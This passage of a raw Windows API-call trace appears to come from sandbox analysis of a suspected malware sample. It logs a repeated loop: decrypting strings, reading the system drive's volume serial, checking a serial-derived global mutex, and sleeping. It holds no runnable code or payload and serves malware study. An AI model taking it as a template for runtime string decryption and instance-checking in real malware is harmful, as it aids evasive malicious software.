CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dcca0, pdwDataLen=0x20df6a4 | out: pbData=0x1dcca0, pdwDataLen=0x20df6a4) returned 1 [0149.325] CryptDestroyKey (hKey=0x8717e0) returned 1 [0149.325] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dccc8 [0149.325] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0149.325] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0149.325] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x8717e0) returned 1 [0149.325] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0149.325] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0149.325] CryptDestroyKey (hKey=0x8717e0) returned 1 [0149.325] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0149.325] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dccc8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0149.325] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0149.326] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0149.326] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0149.326] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0149.326] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0149.326] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x8717e0) returned 1 [0149.326] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0149.326] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0149.326] CryptDestroyKey (hKey=0x8717e0) returned 1 [0149.327] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0149.327] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x228 [0149.327] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x0) returned 0x102 [0149.327] CloseHandle (hObject=0x228) returned 1 [0149.327] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0149.328] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0149.328] Sleep (dwMilliseconds=0x3e8) [0150.723] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dccc8 [0150.723] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x8717e0) returned 1 [0150.723] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0150.723] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dccc8, pdwDataLen=0x20df6a4 | out: pbData=0x1dccc8, pdwDataLen=0x20df6a4) returned 1 [0150.723] CryptDestroyKey (hKey=0x8717e0) returned 1 [0150.723] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dcca0 [0150.723] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0150.723] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0150.723] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x8717e0) returned 1 [0150.723] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0150.723] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0150.723] CryptDestroyKey (hKey=0x8717e0) returned 1 [0150.724] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0150.724] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dcca0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0150.724] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0150.724] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0150.724] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0150.725] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0150.725] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0150.725] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x8717e0) returned 1 [0150.725] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0150.725] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0150.725] CryptDestroyKey (hKey=0x8717e0) returned 1 [0150.725] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0150.725] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x228 [0150.725] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x0) returned 0x102 [0150.725] CloseHandle (hObject=0x228) returned 1 [0150.725] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0150.726] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0150.726] Sleep (dwMilliseconds=0x3e8) [0151.901] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dcca0 [0151.901] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x8717e0) returned 1 [0151.901] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0151.901] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dcca0, pdwDataLen=0x20df6a4 | out: pbData=0x1dcca0, pdwDataLen=0x20df6a4) returned 1 [0151.901] CryptDestroyKey (hKey=0x8717e0) returned 1 [0151.901] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dccc8 [0151.901] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0151.901] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0151.901] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x8717e0) returned 1 [0151.902] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0151.902] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0151.902] CryptDestroyKey (hKey=0x8717e0) returned 1 [0151.902] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0151.902] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dccc8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0151.902] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0151.903] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0151.903] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0151.903] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0151.903] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0151.903] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x8717e0) returned 1 [0151.903] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0151.903] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0151.903] CryptDestroyKey (hKey=0x8717e0) returned 1 [0151.903] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0151.903] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x228 [0151.903] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x0) returned 0x102 [0151.903] CloseHandle (hObject=0x228) returned 1 [0151.904] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0151.904] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0151.905] Sleep (dwMilliseconds=0x3e8) [0153.838] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dccc8 [0153.838] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x8717e0) returned 1 [0153.838] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0153.838] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dccc8, pdwDataLen=0x20df6a4 | out: pbData=0x1dccc8, pdwDataLen=0x20df6a4) returned 1 [0153.838] CryptDestroyKey (hKey=0x8717e0) returned 1 [0153.838] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dcca0 [0153.838] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0153.838] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0153.838] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x8717e0) returned 1 [0153.838] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0153.838] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0153.838] CryptDestroyKey (hKey=0x8717e0) returned 1 [0153.839] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0153.839] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dcca0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0153.839] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0153.839] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0153.839] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0153.840] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0153.840] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0153.840] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x8717e0) returned 1 [0153.840] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0153.840] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0153.840] CryptDestroyKey (hKey=0x8717e0) returned 1 [0153.840] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0153.840] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x228 [0153.840] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x0) returned 0x102 [0153.840] CloseHandle (hObject=0x228) returned 1 [0153.840] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0153.841] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0153.841] Sleep (dwMilliseconds=0x3e8) [0155.198] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dcca0 [0155.198] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0155.198] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0155.198] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dcca0, pdwDataLen=0x20df6a4 | out: pbData=0x1dcca0, pdwDataLen=0x20df6a4) returned 1 [0155.198] CryptDestroyKey (hKey=0x871820) returned 1 [0155.198] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dccc8 [0155.198] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0155.198] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0155.198] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0155.198] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0155.198] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0155.198] CryptDestroyKey (hKey=0x871820) returned 1 [0155.199] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0155.199] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dccc8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0155.199] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0155.199] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0155.199] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0155.199] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0155.199] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0155.200] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0155.200] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0155.200] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0155.200] CryptDestroyKey (hKey=0x871820) returned 1 [0155.200] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0155.200] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x224 [0155.200] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0155.200] CloseHandle (hObject=0x224) returned 1 [0155.200] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0155.201] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0155.201] Sleep (dwMilliseconds=0x3e8) [0156.426] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dccc8 [0156.426] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0156.426] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0156.426] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dccc8, pdwDataLen=0x20df6a4 | out: pbData=0x1dccc8, pdwDataLen=0x20df6a4) returned 1 [0156.427] CryptDestroyKey (hKey=0x871820) returned 1 [0156.427] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dcca0 [0156.427] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0156.427] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0156.427] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0156.427] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0156.427] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0156.427] CryptDestroyKey (hKey=0x871820) returned 1 [0156.427] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0156.427] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dcca0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0156.428] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0156.428] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0156.428] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0156.428] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0156.428] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0156.428] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0156.428] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0156.428] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0156.429] CryptDestroyKey (hKey=0x871820) returned 1 [0156.429] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0156.429] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x224 [0156.429] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0156.429] CloseHandle (hObject=0x224) returned 1 [0156.429] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0156.430] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0156.430] Sleep (dwMilliseconds=0x3e8) [0157.511] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dcca0 [0157.512] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0157.512] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0157.512] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dcca0, pdwDataLen=0x20df6a4 | out: pbData=0x1dcca0, pdwDataLen=0x20df6a4) returned 1 [0157.512] CryptDestroyKey (hKey=0x871820) returned 1 [0157.512] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dccc8 [0157.512] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0157.512] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0157.512] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0157.512] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0157.512] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0157.513] CryptDestroyKey (hKey=0x871820) returned 1 [0157.513] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0157.513] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dccc8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0157.513] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0157.513] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0157.513] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0157.514] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0157.514] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0157.514] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0157.514] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0157.514] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0157.514] CryptDestroyKey (hKey=0x871820) returned 1 [0157.514] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0157.514] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x224 [0157.514] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0157.514] CloseHandle (hObject=0x224) returned 1 [0157.515] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0157.515] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, 